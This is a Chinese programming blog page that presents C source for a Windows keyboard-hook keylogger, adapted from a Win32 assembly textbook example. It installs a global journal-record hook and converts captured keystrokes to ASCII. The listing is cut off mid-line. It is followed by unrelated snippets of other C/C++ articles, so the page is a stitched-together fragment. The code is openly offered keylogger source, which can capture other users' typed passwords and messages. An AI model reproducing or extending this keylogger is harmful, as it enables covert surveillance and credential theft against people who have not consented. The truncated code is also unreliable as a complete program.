C键盘钩子
根据《Windows环境下32位汇编语言程序设计》(罗云彬著)书上的例子,采用SDK实现键盘记录器!
main.c
#include <windows.h>
#include "resource.h"
#define DEBUG 0
LRESULT CALLBACK HookKeyboardPro(int code,WPARAM wParam,LPARAM lParam);
BOOL CALLBACK ProcDlgMain(HWND hwndDlg,UINT uMsg,WPARAM wParam,LPARAM lParam);
static HWND hWinMain=NULL;
static HHOOK hHook=NULL;
static WORD szAscii=0;
int WINAPI WinMain(__in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd )
{
DialogBox(hInstance,MAKEINTRESOURCE(DLG_MAIN),NULL,(DLGPROC)ProcDlgMain);
return 0;
}
BOOL CALLBACK ProcDlgMain(HWND hwndDlg,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
#if DEBUG
TCHAR buf[10];
#endif
switch (uMsg)
{
case WM_INITDIALOG:
hWinMain=hwndDlg;
SendMessage(hwndDlg,WM_SETICON,
ICON_BIG,(LPARAM)LoadIcon(GetModuleHandle(0),MAKEINTRESOURCE(IDI_MAIN)));
//装载钩子
hHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)HookKeyboardPro,GetModuleHandle(0),NULL);
if(!hHook)
{
EndDialog(hwndDlg,NULL);
}
break;
case WM_CLOSE:
//移除钩子
UnhookWindowsHookEx(hHook);
EndDialog(hwndDlg,NULL);
break;
default:
return FALSE;
}
return TRUE;
}
/************************************************************************/
/* 钩子处理过程 */
/************************************************************************/
LRESULT CALLBACK HookKeyboardPro(int code,WPARAM wParam,LPARAM lParam)
{
BYTE szKeyState[256];
int size;
PEVENTMSG eventMsg;
#if DEBUG
TCHAR buf[10];
#endif
if(HC_ACTION==code)
{
eventMsg=(PEVENTMSG)lParam;
if(WM_KEYDOWN==eventMsg->message)
{
GetKeyboardState(szKeyState);//当前键盘状态填入缓冲区
szKeyState[VK_SHIFT]=0XFF&GetKeyState(VK_SHIFT);//获取低位,特殊填写SHIFT键扫描码
//将虚拟键盘码转换ASCII码
size=ToAscii(eventMsg->paramL,HIWORD(eventMsg->paramH),szKeyState,&a
相关文档:
C/C++程序员应聘常见面试题深入剖析(2)
作者:宋宝华 e-mail:21cnbao@21cn.com 出处:软件报
3.内功题
试题1:分别给出BOOL,int,float,指针变量 与“零值”比较的 if 语句(假设变量名为var)
解答:
BOOL 型变量:if(!var)
int 型变量: if(var==0)
float 型变量:
const float EPSINON = 0.00 ......
extern "C"包含双重含义,其一:被它修饰的目标是“extern”的;其二:被它修饰的目标是“C”的。
1)被extern “C”限定的函数或变量是extern类型的;
extern是C/C++语言中表明函数和全局变量作用范围(可见性)的关键字,该关键字告诉编译器,其声明的函数和变量可 ......
C模拟面向对象的方法
抽象数据类型
让客户使用指向没有公开定义 (也许还隐藏在类型定义后边) 的结构类型的指针是一个好办法。只要不访问结构成员, 声明和使用 “匿名” 结构指针 (不完全结构类型指针)是合法的。这也是使用抽象数据类型的原因。
类的方法
把函数指针直接加入到结构中。
继承
你可以使用各种 ......
linux 下c 程序 段错误 分析
(2008-12-31 16:50:57)
var $tag='it';
var $tag_code='2cec03ae0a5b0d224bb35c9b79dd54c7';
标签:it
分类:C/C++
fopen("/var/spool/cron/tmp","w+");
/////////////////////////////////////////
#include <sys/types.h>
......
众多C++书籍都忠告我们C语言宏是万恶之首,但事情总不如我们想象的那么坏,就如同goto一样。宏有
一个很大的作用,就是自动为我们产生代码。如果说模板可以为我们产生各种型别的代码(型别替换),
那么宏其实可以为我们在符号上产生新的代码(即符号替换、增加)。
关于宏的一些语法问题,可以在google上找到。相信我,你 ......